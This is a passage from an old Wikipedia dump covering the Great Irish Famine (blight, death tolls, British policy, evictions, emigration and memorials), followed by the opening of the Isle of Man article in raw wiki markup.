The potato's benefits also led to a dangerous inflexibility in the Irish food system. The majority of food energy was being provided from a single crop. That alone is not unusual, and is still the case today for many subsistence farmers around the world. However, the traditional Irish practice of [[Irish farm subdivision|sub-dividing]] plots among the male children of a family, though diminishing, was still widely practiced in the poorer areas of the country. The use of the potato and sub-division produced two interlinked side-effects; with increased food energy the number of surviving male heirs was quickly increasing, while with the prospect of inheriting a land-holding, heirs married young and produced large families-hence increasing subdivision into smaller estates for their own heirs.

==The blight==
{{sect-stub}}
Although the origins are still unclear, in [[1845]] a [[potato blight]] struck across [[Europe]], turning potatoes into a soggy and inedible mess. The [[Freeman's Journal]] (the main nationalist newspaper) on [[June 27]] [[1846]] carried a headline '''Disease in the New Potato Crop''', recounting an early outbreak in [[County Mayo]]. By ''Black '47'', the vast majority of that year's crop was ruined. Food stores and emergency supplies made up for some of this setback, but the blight appeared again in [[1849]], and there was no reserve capacity remaining, even in the height of the famine, Ireland still produced enough food to feed the entire population of the country with ease, however the forced removal of food caused the famine to kill so many people. The result was widespread [[famine]], though it affected different parts of the island to different degrees.

== Famine and Deathtolls ==
[[Image:Irish population change (1841-1851).png|thumb|210px|Fall in Irish population (1841-1851)]]
No-one knows for certain how many people died in the Famine. State registration of births, marriages or deaths had not yet begun, while the Roman Catholic Church's records, where they exist at all, are understandably incomplete, given the sheer scale of deaths. Many of the [[Church of Ireland]]'s records (which included records of local Catholics, who paid [[tithes]] (local taxes) to their local Church of Ireland), were destroyed when the [[Irish Republican Army|IRA]] blew up the [[Irish Public Records Office]] in 1922. 

One possible estimate has been reached by comparing the expected population with the eventual numbers in the 1850s. Earlier predictions expected that by 1851, Ireland would have a population of 8 to 9 million. This calculation is based on numbers contained in the ten year census results compiled since 1821. (However, a recent re-examination of those returns raise questions as to their accuracy; the 1841 Census, for example, incorrectly classed farm children as labourers, affecting later calculations on how many adults capable of child-bearing existed to produce children between 1841 and 1851!). What we do know is that in 1851 the actual population was 6.6 million. Making straightforward calculations is complicated by a secondary effect of famine, a key side-effect of malnutrition, namely plummeting fertility and sexual activity rates. The scale of that effect on population numbers was not fully recognised until studies done during [[Africa]]n famines in the twentieth century. As a result, corrections based on inaccuracies in census returns and on the previous unrealised decline in births due to malnourishment have led to an overall reduction in the presumed death numbers. Modern historians and statisticians estimate that between 500,000 and 1,100,000 died. Many historians suggest the death-toll was in the region of 700,000 to 800,000.{{fn|2}} One website claims a figure of over five million though most historians have dismissed this claim and the reliability of its calculations. [http://www.catholicapologetics.net/Ireland's%20Holocaust.htm] In addition, in excess of one million Irish emigrated in the notorious [[coffin ship|coffin ships]] to the [[United States]], [[Great Britain]], [[Canada]], [[Australia]], and elsewhere, while more than one million emigrated over following decades; by 1911, a combination of emigration and an abnormally high number of unmarried men and women in the population, had reduced the population of Ireland to 4.4 million. 

The initial British government response towards the early famine was, in the view of historians such as [[F.S.L. Lyons]] 'prompt and relatively successful'.{{fn|3}} Professor Joe Lee contended:
:there was nothing unique, by the standards of pre-industrial subsistence crisis, about the [Irish] famine. The death rate had been frequently equalled in earlier European famines, including, possibly, in Ireland itself during the famine of [[Irish Famine of 1740-41|1740-41]].{{fn|4}}

In the case of the 1846-49 Irish Famine, with tragic consequences the [[Tory]] government of Sir [[Robert Peel]] (who had served in the [[Dublin Castle]] British administration, having begun his political career as an MP for a [[rotten borough]] of [[Cashel]], [[County Tipperary]] and so had some understanding of Ireland) was replaced (with the help of Irish MPs under [[Daniel O'Connell]]) by a Whig ministry under [[Lord John Russell]]. Russell believed in a [[laissez-faire]] economic policy of non-intervention in the economy. So whereas Peel had imported Indian [[maize]] to feed the starving, Russell instead focused on providing support through public works and [[work-houses]]. A disastrous ''[[Gregory Clause]]'' of the ''[[Poor Law Extension Act]]'' was introduced, making aid available only to those who owned less than one quarter of an acre (1,000&amp;nbsp;m&amp;sup2;) of land. This forced poverty-stricken starving tenants either to give up their homes and land, and so become destitute ''after'' the famine, or hold on to them and risk starvation.

== Ireland and Great Britain ==
The [[Act of Union 1800]] stipulated that Ireland would have in the [[United Kingdom]] one-fifth the representation of Great Britain, that is 100 members in the [[United Kingdom House of Commons|House of Commons]]. The trouble was not the lack of Irish representation in the [[British parliament]] but that the London parliament was not in tune with the needs of Ireland, given that the vast majority of its MPs and government ministers had never set foot in Ireland, and had shown little interest in it or its problems. The union of the churches of [[England]] and [[Ireland]] also cemented British rule, strengthening the pre-eminent position in [[Ireland]] of the [[Anglican]]s by securing the continuation of the British [[Test Act]], which virtually excluded [[Presbyterian]]s and [[Roman Catholic]]s from Parliament and from membership of municipal corporations.

Part of the agreement that led to the Act of Union stipulated that the [[Penal Laws]] were to be repealed and [[Catholic Emancipation]] granted. [[George III of the United Kingdom|King George III]], however, blocked emancipation, arguing that to grant it would break his coronation oath to defend the Anglican Church. A campaign under lawyer and politician [[Daniel O'Connell]] led to the conceding of Catholic Emancipation in 1829, so allowing Catholics to sit in parliament. O'Connell then mounted an unsuccessful campaign for the &amp;#8220;Repeal&amp;#8221; of the Act of Union.

Not until [[1828]]-[[1829|29]] did the repeal of the Test Act and the concession of Catholic Emancipation provide political equality for most purposes, including free trade between the British Isles and that Irish merchandise would be admitted to British colonies on the same terms as British merchandise.

===Suggestions of genocide===
The suggestion that the Famine &quot;amounted to [[genocide]]&quot; by the British against the Irish is a divisive issue. Few Irish historians accept outright such a definition, as &quot;genocide&quot; implies a ''deliberate policy'' of extermination. Many agree that the British policies during the Famine, particularly those applied under [[Lord John Russell]], were misguided, ill-informed and disastrous. Irish poet [[Jonathan Swift]] had satirized the plight of the Irish in relation to English economic domination almost a century prior to the famine in his pamphlet &quot;[[A Modest Proposal]]&quot; (1729). Professor Joe Lee called what happened a [[holocaust (disambiguation)|holocaust]]. (See [[Democide]]). Others, however, note that over three-million people were fed through soup-kitchens, and that factors such as poor communication, primitive retail distribution networks and the inefficiencies of local government had exacerbated the situation.

The &quot;debate&quot; is largely a moral one, attempting to ascertain whether within the policies of the British Empire lay a racist, forgetful, or simply inconsiderate mentality that, despite its power, made it impotent to handle a humanitarian crisis in its own backyard, or whether a large reduction in Ireland's population was looked on as a favourable outcome by a large segment of the British body politic, who then decided to let nature take its course. Some Irish, British and US historians [[F.S.L. Lyons]], [[John A. Murphy]], [[Joe Lee]], [[Roy Foster Historian|Roy Foster]], and [[James S. Donnelly, Jr.]], as well as historians [[Cecil Woodham-Smith]], [[Peter Gray]], [[Ruth Dudley Edwards]] and many others have long dismissed claims of a ''deliberate policy'' of extermination. This dismissal usually does not preclude any assessment of [[British Empire|British Imperial]] rule as ill-mannered or unresponsive toward certain of its [[subjects]]. 

The notable difference between the Famine and other [[humanitarian crises]] was that it occurred within the imperial homeland, at a time well into the modern prosperity of the [[Victorian age|Victorian]] and [[Industrial age|Industrial]] age. Even today, such crises tend to be far away from [[centers of power]] such that the subjects of empire, almost by definition, are of distant [[culture|cultures]], [[language|languages]] and [[religion|religious beliefs]]. Within the imperial culture, the reportage of a crisis among its subjects more often uses dismissive and [[dehumanization|dehumanizing]] terms, and treats otherwise urgent matters with little relevancy or interest. With respect to geography, the famine would appear to belie many of the typical circumstances in which colonialist dismissal of native plight often occurred. With respect to era, the famine came at a crossroads of old world and modern world. Though human suffering during the famine was never [[photograph|photographed]], the event immediately and profoundly altered the course of generations of Irish and Irish diaspora &amp;mdash;for whom history has a rich and prosperous record.

==Irish landholdings==
The catastrophe that was the Famine was the product of a number of complex problems which affected nineteenth century Ireland. One of the most central was the nature of land-holdings. From the middle ages onwards, Irish ownership of the land of the island had been in decline, as waves of settlers, from the [[Elizabeth I of England|Elizabethan]] [[Plantations of Ireland|plantations]] on, assumed control of large tracts of land. A practice of consolidation of lands into large estates was widespread in Europe, but, in Ireland, it was complicated by the discriminatory laws applied to all faiths other than the established [[Church of Ireland]], but which most directly affected Irish Roman Catholics, by far the religion of the overwhelming majority of Irish people. Under the [[Penal Laws]], Irish Catholics faced the threat of confiscation of property. While the enforcement of the law fluctuated both in terms of period and geography, and by the time of the Famine the laws had in any case been repealed, the cultural effect of the discrimination they embodied helped shape Irish attitudes towards land. As a result of all of this, by the time of the Famine most Irish Catholics were restricted to holding small, frequently impoverished tenancies, lacking what came to be known as the '[[Three Fs|Three Fs]]'; fair rent, fixity of tenure, and free sale.  

This was further complicated by a cultural tradition known as [[Irish farm subdivision|'sub-division']], whereby lands and property, instead of being inherited by the first-born son ([[primogeniture]]) was divided equally among male heirs, both legitimate and on occasion illegitimate. The Penal Laws had decreed sub-division among the conquered Catholic Irish, in the hopes of encouraging conversion to Protestantism. In its nineteenth century land-holding form, it meant that, over each generation, the size of a tenant farm was reduced, as it was split between all living sons, though by the 1840s, sub-division was increasingly only found among the poorest people on the smallest farms.  In 1845, for example, 24% of all Irish tenant farms were of 0.4 to 2 [[hectare]]s (one to five [[acre]]s) in size, while 40% were of 2 to 6 hectares (five to fifteen acres). This included [[marsh|marshland]] and [[bog|bogland]] that could not be used for food production. As a result, holdings were so small that the only crop that could be grown in sufficient quantities, and which provided sufficient nourishment to feed a family, was potatoes. A British Government report carried out shortly before the Famine noted that the scale of the poverty was such that one third of all small holdings in Ireland were presumed to be unable to support their families, after paying their rent, other than through the earnings of seasonal migrant labour in [[England]] and [[Scotland]]. {{fn|1}}

As a result, the Irish landholding system in the 1840s was already in serious trouble. Many of the big estates, as a result of earlier agricultural crises, were heavily mortgaged and in financial difficulty. (10% were eventually bankrupted by the Famine). Below that level were mass tenancies, lacking rent control and security of tenure, many of them through sub-division so small that the tenants were struggling to survive in good years, and almost wholly dependent on potatoes because they alone could be grown in sufficient quantity and nutritional value. Furthermore, efforts of tenants to increase the productivity of their land was actively discouraged by the threat that any increase in land value would lead to a disproportionately high resulting increase in rents, possibly leading to their eviction.

==Evictions==
In a final disastrous twist, local relief was paid for through the [[Poor Law]] Union, which was funded by rates (local taxes) paid by landlords, on the basis of an estate's tenant numbers. This produced the perverse farce of increasing local reliance on the poor law leading landlords to evict impoverished tenants in order to control their rapidly rising rates bills, only to see those evictees, now reliant on the Poor Law Union pushing up rate bills further, leading to more evictions. But if they kept on tenants unable to pay rents, they then might be unable to meet ''their'' rates bill (many estates were already in financial trouble), meaning the Poor Law would not be able to offer local relief, leading to more starvation. {{fn|5}} Only central funding of Poor Law Unions from the exchequer could solve this conundrum, but Russell's government was opposed to this. Some landlords, to avoid ex-tenants relying on the Poor Law, provided passage to other countries, on what became known as [[coffin ship|coffin ships]]. All too many emigrants, already weak, some with [[cholera]], died during the passage to North America. 

Ireland experienced a massive number of evictions, due to financial reasons, and infamously to 'clear' their lands to allow cattle grazing, similar to the [[Highland Clearances]], which were happening in [[Scotland]] around the same time. Some evicted reluctantly because of their climbing rates bills, others with notorious brutality to take advantage from the Famine. 90,000 people were evicted in 1849 alone, though up to one third were allowed to return as 'caretakers'. 109,000 were evicted in 1850. {{fn|6}} Many estates did however provide help for their tenants, with reduced rents and the provision of soup kitchens, in some cases bankrupting themselves in the process. Many also initiated relief works, where workers were paid a pittance for building (mostly superfluous) roads and walls. The [[River Shannon|Shannon]]-[[Erne]] canal (recently reopened) was built as a relief work after petition from the landholders of South Leitrim.{{fn|7}} 10% of all estates were bankrupt by 1850, as heavily-mortgaged estates could not cover their financial costs from tenants facing starvation and bankruptcy themselves.  The failure of the United Kingdom to control the behaviour of landlords has often been criticised. However in the mid-nineteenth century, few states internationally restricted the rights of landlords; restrictions in Ireland were only imposed from the 1870s, as under the Land Acts which conceded the Irish nationalist demand for the Three Fs and which finally allowed tenants to buy their farms. 

Large sums of money were donated by charities; [[Calcutta]] is credited with making the first donation of £14,000. The money was raised by Irish soldiers serving there and Irish people employed by the [[British East India Company|East India Company]].  [[Pope Pius IX]] sent funds, [[Victoria of the United Kingdom|Queen Victoria]] personally gave the modern day equivalent of €70,000, while the [[Choctaws|Choctaw]] [[Native Americans in the United States|Indians]] famously sent $710 and grain, (an act of generosity still remembered to this day, and publicly commemorated by President [[Mary Robinson]] in the 1990s). [[Nathan Mayer Rothschild, 1st Baron Rothschild|Lord Rothschild]] donated more than every other English aristocrat combined, although he had not the financial interests in Ireland that many others had. Nevertheless, charitable donations could not solve the scale of the problem.      

Critics have observed how during this time, Irish &amp; Anglo-Irish landowners exported corn (and other crops) and livestock which could have saved the lives of many Irish people. &lt;!-- edit: is this just a retrospective excuse for a leech-like absentee Anglo-Irish landlord class, the very origin of the destitution of the Catholic Irish?  Answer: Yes. --&gt;  Although there were also not enough mills immediately available in Ireland had all the corn been kept to be used at home, the livestock and other crops would have sufficed until the milled corn could have been brought back from British mills. Peel's solution was different: keep exporting to avoid the economic collapse of the landlord system, while importing Indian maize to feed the starving. Russell, his successor, refused to do the latter, making catastrophe inevitable.
{| border=&quot;1&quot; cellpadding=&quot;4&quot; align=&quot;center&quot; cellspacing=&quot;0&quot; style=&quot;background: #f9f9f9; border: 1px #aaa solid; border-collapse: collapse;&quot;
|+ '''Decline in population 1841-51 (%)'''
|- align=center style=&quot;background:#ffdead;&quot;
!Leinster!!Munster!!Ulster!!Connaught!!Ireland
|- align=right
|15.3||22.5||15.7||28.8||19.9
|- 
| align=center colspan=5 style=&quot;border-top:1px solid red; border-right:1px solid red; border-bottom:1px solid red; border-left:1px solid red;&quot;|Table from '''Joe Lee, ''The Modernisation of Irish Society'' '''(Gill History of Ireland Series No.10) p.2
|}

==The aftermath==
Potato blights continued in Ireland, especially in [[1872]] and [[1879]]-[[1880]].  These killed few people, partly because they were less severe, but mainly due to a complex range of reasons. The growth in the numbers of railways made the importation of foodstuffs easier; in 1834, Ireland had 6 miles of railway tracks; by 1912, the total was 3,403. The banning of sub-division, coupled with emigration, had increased the average farm holding, enabling tenant farms to diversify in terms of produce grown. The increasing wealth in urban areas meant alternative sources of food, grain, potatoes and seed were available in towns and villages. The 1870s agricultural economy thus was more efficient and less dependent on potatoes, as well as having access to new farm machinery and product control that had not existed thirty years earlier. 

Of particular importance was the wholesale re-organisation of the agricultural sector, which had begun after the famine with the [[Encumbered Estates Act]] and which in the period (1870s-1900s) saw the nature of Irish landholding changed completely, with small owned farms replacing mass estates and multiple tenants. Many of the large estates in the 1840s were debt ridden and heavily mortgaged. In contrast, estates in the 1870s, many of them under new Irish middle class owners thanks to the Encumbered Estates Act, were on a better economic footing, and so capable of reducing rents and providing locally organized relief, as was the Roman Catholic Church, which was better organised and funded than it had been in 1847-49. 

If sub-division produced earlier marriage and larger families, its abolition produced the opposite effect; the 'inheriting' child would wait until they found the 'right' partner, preferably one with a large dowry to bring to the farm. Other children, no longer with the possibility of inheriting a farm (or part of it at least) had no economic attraction and no financial resources to consider an early marriage. 

As a result, later mini-famines made only minimal effect and are generally forgotten, except by historians. However, even though by the 1880s Ireland went through an economic boom unprecedented until the [[Celtic Tiger]] era, emigration, often of children who no longer could inherit a share in the land and who as a result chose to go abroad for economic advantage and to avoid poverty, continued. By the [[1911]] census, the island of Ireland's population had fallen to 4.4 million, about the same as the population in [[1800]] and [[2000]] and only a half of its peak population. 

The same mould (''[[Phytophthora infestans]]'') was responsible for the 1847-51 and later famines.  When people speak of &quot;the Irish famine&quot;, or &quot;''an Gorta Mór''&quot;, they nearly always mean the one of the [[1840s]], even though a similar Great Famine did in fact hit in the early [[18th century]]. The fact that only four types of potato were brought from [[the Americas]] was a fundamental cause of the famine, as the lack of [[genetic diversity]] made it possible for a single [[fungus]]-relative to have much more devastating consequences than it might otherwise have had.

==Emigration==
As a result of the famine, many Irish families were forced to [[emigrate]] from the country.  By [[1854]], between 1.5 and 2 million Irish left their country.  In the [[United States]], most Irish became city-dwellers.  With little money, many had to settle in the cities that the ships they came on landed in.  By [[1850]], the Irish made up a quarter of the population in [[Boston, Massachusetts|Boston]], [[New York City]], [[Philadelphia, Pennsylvania|Philadelphia]], and [[Baltimore, Maryland|Baltimore]]. The 1851 census reported that about one third of the inhabitants of [[Toronto, Ontario|Toronto]], [[Canada]], were Irish. The Famine is often seen as an initiator in the steep depopulation of Ireland in the 19th century, however, it is likely that real population began to fall in 1841 with the Famine accelerating any population changes already occurring. Some may argue the Famine was necessary to restore population equilibrium to Ireland given that population increased by 13-14% in the first three decades of the 19th century (using Thomas Mathus's idea of population expanding geometrically, resources increasing arithmetically) nonetheless there is a tendency among Irish historians to dispute this. Statistics show that between 1831 and 1841 population grew by only 5% so this gives more value to those who argue that population was already falling by 1844. 

The mass exodus in the years following the famine must be seen in the context of overpopulation, industrial stagnation, land shortages, declining agricultural employment and inadequate diet. These factors were already combining to choke off population growth by the 1830s. It would be wrong, therefore, to attribute all the population loss during the famine, to the famine.

==Memorials to the famine==
The Great Famine is still remembered in many locations throughout Ireland, especially in those regions which suffered the greatest losses, and also in cities overseas with large populations descended from Irish immigrants.
===In Ireland===
* [[Strokestown]] Park Famine Museum, Ireland
* [[Dublin City Quays]], Ireland. Painfully thin sculptural figures stand as if walking towards the emigration ships on the Dublin Quayside.
* [[Murrisk]], [[County Mayo]], Ireland. This sculpture of a [[famine ship]], near the foot of [[Croagh Patrick]], depicts the refugees it carries as dead souls hanging from the sides.
* [[Doolough]], County Mayo. A memorial commemorates famine victims who walked from [[Louisburgh]] along the mountain road to Delphi Lodge to seek relief from the Poor Board who were meeting there. Returning after their request was refused, many of them died at this point. 

===In the United Kingdom===

* [[Liverpool]], [[England]]. A memorial is in the grounds of St Luke's Church on Leece Street, itself a memorial to the victims of the Blitz. It recalls that from 1849-1852 1,241,410 Irish immigrants arrived in the city and that from Liverpool they dispersed to locations around the world. Many died though despite the help they recieved within the city, some 7000 in the city's parish within one year. The sculpture is dedicated to the memory of all famine emmigrants and their suffering. There is also a plaque on the gates to Clarence Dock. Unveiled in 2000 The plaque inscription reads in Gaelic and English: &quot;Through these gates passed most of the 1,300,000 Irish migrants who fled from the Great Famine and 'took the ship' to Liverpool in the years 1845-52&quot; The Maritime Museum, Albert Dock, Liverpool has an exhibition regarding the Irish Migration, showing models of ships, documentation and other facts on Liverpool's history.
* [[Cardiff]], [[Wales]]. A magnificent Celtic Cross made of Irish Limestone on a base of Welsh stone stands in the city's Cathays Cemetary. The cross was unveiled in 1999 as the high point in the work of the Wales Famine Forum, remembering the 150th Anniversary of the famine. The memorial is dedicated to every person of Irish origin, without distinction on grounds of class, politics, allegiance or religious belief, who has died in Wales.

===In North America===
* In [[Boston, Massachusetts|Boston]], [[Massachusetts]], a bronze statue located at the corner of Washington and School Streets on the [[Freedom Trail]] depicts a starving woman, looking up to the heavens as if to ask &quot;Why?&quot;, while her children cling to her. A second sculpture shows the figures hopeful as they land in Boston. See [http://www.boston.com/famine/].
* [[Cambridge, Massachusetts]] has a memorial to the famine on its [[Common land|Common]].
* [[Chicago, Illinois|Chicago]], [[Illinois]]
* Grosse-Île, [[Québec]]
* [[Kingston, Ontario]], [[Canada]], Angel of Resurrection
* [[Montréal, Québec|Montréal]], [[Québec]], the &quot;Boulder Stone&quot; in Pointe-Sainte-Charles
* [[New York City, New York|New York]], [[New York]] has the [[Irish Hunger Memorial]] - which looks like a chunk of a hillside with low stone walls and a roofless cabin on one side and a polished wall with lit (or white) lines on the other three sides. The memorial is in [[Battery_Park_City|Battery Park City]], a short walk west from the [[World Trade Center site]]. See [http://www.batteryparkcity.org/artists.php4?page=ihm]. Another memorial exists in V.E. Macy Park in [[Ardsley]], [[New York]] about 20 miles north of [[Manhattan]].
* [[Philadelphia, Pennsylvania|Philadelphia]], [[Pennsylvania]]
* [[Phoenix, Arizona|Phoenix]], [[Arizona]] has a famine memorial in the form of a [[dolmen]] at the Irish Cultural Center.
* Irish Hills Michigan - The Ancient Order of Hibernian's An Gorta Mor Memorial is located on the grounds of St. Joseph's Shrine in the Irish Hills district of Lenawee County, Michigan.[[http://www.geocities.com/lenaweeaoh/ Pictures of Memorial]]
[[Image:AnGortaMor Memorialbowl.jpg|Irish Hills Michigan - &quot;An Gorta Mor&quot; - The empty bowl represents the hunger of our ancestors. Their are 32 black stones as the platform - one for each county. The grounds are surrounded with a stone wall.]] [[Image:AnGortaMor_MI.jpg|Irish Hills Michigan - &quot;An Gorta Mor&quot; - The Lintel is a step from Penrose Quay in Cork Harbor. The project was the result of several years of fundraising by the Ancient Order of Hibernians in Lenewee County.  It was dedicated in 2004 by AOH Divisional President, Patrick Maguire, and many political and Irish figures from around the state of Michigan.]]

===In Australia===
* [[Sydney]], Australia.  The Australian Monument to the Great Irish Famine [http://www.irishfamine.org/] is located in the courtyard wall of the Hyde Park Barracks, Macquarie Street Sydney.  It symbolises the experiences of young Irish women fleeing the Great Irish Famine of 1845–48.  [http://www.hht.net.au/museums/hyde_park_barracks_museum/fact_sheet]
{{listdev}}

==See also==
{{commonscat|Irish potato famine}}
* [[Irish potato famine (legacy)]] (continuation of this article)
* [[Highland Potato Famine (1846 - 1857)]]
* [[List of natural disasters in the United Kingdom]]
* &quot;[[Fields of Athenry]],&quot; a popular song about the famine

==Footnotes==
*{{fnb|1}}  Robert Kee, ''The Laurel and the Ivy: The Story of Charles Stewart Parnell and Irish Nationalism'' p.15.
*{{fnb|2}} Joe Lee, ''The Modernisation of Irish Society'' p.1. Cormac Ó Grada suggests the higher number of one million. 
*{{fnb|3}} FSL Lyons, ''Ireland Since the Famine'' p.42. 
*{{fnb|4}} Lee, ''op.cit'' p.1.
*{{fnb|5}} Lyons, ''op.cit'' p.43.
*{{fnb|6}} ibid. p.43.
*{{fnb|7}} www.loughrynn.net for the story of the famine in South Leitrim under the management of the Earls of Leitrim
*{{fnb|9}} Joseph Judge, &quot;The Travail of Ireland.&quot; ''[[National Geographic]]'' vol. 159 no. 4 (April 1981), pp.432-440

==Additional reading==
*Cormac O'Grada, ''An Economic History of Ireland''
*[[Robert Kee]], ''Ireland: A History'' (ISBN 0349106789)
*[[John Mitchel]], ''The Last Conquest of Ireland'' (1861) (out of print)
*[[Cecil Woodham-Smith]], ''The Great Hunger, 1845-49'' (Penguin, 1991 edition)
*Marita Conlon-McKenna, ''Under the Hawthorn Tree''

==External links==
*[http://www.nationalarchives.ie/famine.html Irish National Archives information on the Famine]
*[http://www.thegreathunger.org/ Quinnipiac University's An Gorta Mor site - includes etexts]
*[http://eh.net/encyclopedia/ograda.famine.php Ireland's Great Famine] (Cormac &amp;Oacute; Gr&amp;aacute;da) from EH.Net Encyclopedia of Economic History
*[http://www.irishholocaust.org/ Irish Holocaust]
*[http://www.american.edu/TED/potato.htm History] 
*[http://www.people.Virginia.EDU/~eas5e/Irish/Irish.html Newspaper Reports on the Famine]
*[http://pubs.socialistreviewindex.org.uk/sr189/stack.htm Ireland: The hunger years 1845-1851]
*[http://www.local.ie/general/history/famine/  Local History Website on the Famine]
*[http://www.irishpotatofamine.org/ Kids History Website about the Famine]
*For more on the pathogen see http://botit.botany.wisc.edu/toms_fungi/mar2001.ht


[[Category:History of Ireland 1801-1922]]
[[Category:Famines]]
[[Category:1840s]]
[[Category:Land reform in Ireland]]
[[Category:Irish famines|1845-1849]]
[[Category:Potatoes]]
[[Category:Economic disasters]]
{{Irish famines}}

{{Link FA|he}}

[[de:Große Hungersnot in Irland]]
[[es:Gran hambruna irlandesa]]
[[eo:Granda malsatego en Irlando]]
[[fr:Grande Famine]]
[[ga:An Gorta Mór]]
[[it:Grande carestia irlandese (1845 - 1849)]]
[[he:רעב תפוחי האדמה הגדול באירלנד]]
[[nl:Grote hongersnood]]
[[ja:ジャガイモ飢饉]]
[[pl:Klęska głodu w Irlandii]]
[[ru:Голод в Ирландии 1845—1849]]</text>
    </revision>
  </page>
  <page>
    <title>Isle of Man</title>
    <id>14727</id>
    <revision>
      <id>41641924</id>
      <timestamp>2006-02-28T19:06:55Z</timestamp>
      <contributor>
        <ip>86.20.183.206</ip>
      </contributor>
      <comment>/* Local government */</comment>
      <text xml:space="preserve">:''For the native Isle of Man [[Cat]], see [[Manx (cat)|Manx Cat]]''.

{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+ '''[[Ellan Vannin]]''' ([[Manx language|Manx]])&lt;br /&gt; '''Isle of Man''' ([[English language|English]])
|-
| style=&quot;background:#efefef;&quot; align=&quot;center&quot; colspan=&quot;2&quot; |
{| border=0 cellpadding=2 cellspacing=0
|-
| align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Flag of the Isle of Man.svg|125px|]] || align=&quot;center&quot; width=&quot;140px&quot; | [[Image:Manx coat.PNG|125px]]
|-
|align=&quot;center&quot; width=&quot;140px&quot;|&lt;small&gt;([[Flag of the Isle of Man|Flag]])&lt;/small&gt; || align=&quot;center&quot; width=&quot;140px&quot;|&lt;small&gt;([[Coat of Arms of the Isle of Man|Coat of Arms]])&lt;/small&gt;
|}
|-
| align=&quot;center&quot; colspan=2 style=&quot;border-bottom:3px solid gray;&quot; | &lt;font size=&quot;-1&quot;&gt;''National'' ''[[motto]]: Quocunque Jeceris Stabit&lt;br/&gt;([[Latin]]: Whithersoever you throw it, it will'' ''stand'')&lt;/font&gt;
|-
| align=center colspan=2 | [[Image:BritishIslesMan.png]]
|-
| [[Official language]]s || None, though [[English language|English]] is the working language of the Government. [[Manx language|Manx]] enjoys some recognition in law.
|-
| [[Capital]] || [[Douglas, Isle of Man|Douglas]] ([[Doolish]])
|-
| [[List of Kings of the Isle of Man|Lord of Mann]] || [[Elizabeth II of the United Kingdom|Elizabeth II]]
|-
| [[List of Lieutenant Governors of the Isle of Man|Lieutenant Governor]] || [[Paul Haddacks|Vice-Admiral Sir Paul Haddacks]]
|-
| [[Chief Minister of the Isle of Man|Chief Minister]] || [[Hon.]] [[Donald Gelling]] [[Legislative_Council_%28Isle_of_Man%29|MLC]]
|-
| [[Currency]] || [[Isle of Man pound]] - The IOM Treasury issues its own notes and coins with a fixed 1:1 exchange rate to [[Pound_Sterling|the pound sterling]].
|-
| [[Time zone]] || [[Greenwich Mean Time|GMT]],  [[Coordinated Universal Time|UTC]], ([[Daylight Saving Time|DST +1]]), 
|-
| [[National anthem]] || [[Isle of Man National Anthem]]
|-
| National Flower ||  [[Ragwort|Cushag]]
|-
| [[Top-level domain|Internet TLD]] || [[.im]]
|-
| National Birds || [[Peregrine Falcon]] and [[Raven]]
|-
| [[List of country calling codes|Calling Code]] || 44 (UK area code 01624)
|}The '''Isle of Man''' ('''[[Ellan Vannin]]''' in [[Manx language|Manx]]) or '''[[Mann]]''' ('''[[Mannin]]''' in Manx), is a [[constitutional monarchy]] located in the [[Irish Sea]] at the geographical centre of the [[British Isles]]. Although it is not part of the [[United Kingdom]], it is a [[Crown dependency]].

==Geography==
{{Main|Geography of the Isle of Man}}
The Isle of Man is part of the [[British Isles]], an [[archipelago]] off the north-western coast of mainland [[Europe]]. The island lies in the [[Irish Sea]], approximately [[equidistant]] between [[England]], [[Scotland]] and [[Ireland]].
&lt;!--[[Image:manmap.jpg|thumb|left|float|Map of the Isle of Man; click to enlarge.]]--&gt;
Approximately 48 km (32 miles) long and between 13 and 24 km (8 and 15 miles) in breadth, the island has an area of around [[1 E8 m²|572 km²]] (221 square miles).

Hills in the north and south are bisected by a central valley. The extreme north is exceptionally flat, consisting mainly of deposits built up by deposition from glacial advances from Western [[Scotland]] during colder times. There are more recently deposited [[shingle]] [[beach]]es at the Point of Ayre. It has only one mountain higher than 2000 [[foot (unit of length)|feet]], [[Snaefell]], with a height of 621 m (2,036 ft). According to an old saying, from the summit one can see seven kingdoms: those of Mann, Scotland, [[England]], [[Ireland]], [[Wales]], [[Heaven]] and [[Sea|Neptune]].
{{See|List of islands of Isle of Man}}

==People==
{{Main|Demographics of the Isle of Man}}
According to the 2001 census, the Isle of Man is home to 76,315 people, of whom around 25,347 reside in the Island's capital, [[Douglas, Isle of Man|Douglas]] (''Doolish''). This gives the island a [[population density]] of 345 people per square mile, or 133 per square kilometer.

==Culture==
The culture of the Isle of Man is strongly influenced by its [[Celt]]ic and [[Norse]] origins. It is currently enjoying a revival of the [[Goidelic languages|Goidelic]] [[Manx language]] (''Gaelg''). Although the last original native speaker died in 1974, small children are once again being brought up speaking Manx. There are now 27 known native speakers and 650 other speakers. Manx is closely related to the [[Scottish Gaelic]] and [[Irish language]]s.
A well known Manx expression is &quot;Traa Dy Liooar&quot;, meaning &quot;time enough&quot; and represents a stereotypical view of the Manx attitude to life.
{{See|music of the Isle of Man}}

==Government==
{{Main|Politics of the Isle of Man}}

===Structure===
The Isle of Man is a self-governing [[crown dependency]]. The [[head of state]] is the [[Lord of Mann]] who is the British Sovereign, currently [[Elizabeth II of the United Kingdom|Her Majesty The Queen]], her title on the Island is [[Lord of Mann]]. She is represented by the Island's [[Lieutenant Governor]]. The [[United Kingdom]] is responsible for the Island's defence and for representing the Island in international forums, while the Island's own [[parliament]] has competence over almost all domestic matters.

The Island's parliament is ''[[Tynwald]]'' (''Tinvaal'') , which dates from 979 A.D. Tynwald is a tricameral legislature, comprising the [[House of Keys]] (directly elected by universal suffrage) and the [[Legislative Council (Isle of Man)|Legislative Council]] (consisting of indirectly elected and ex officio members). Furthermore, when these two bodies meet together the third chamber, called Tynwald, is formed. There is a Council of Ministers, which is headed by the Chief Minister, currently [[Donald Gelling]].

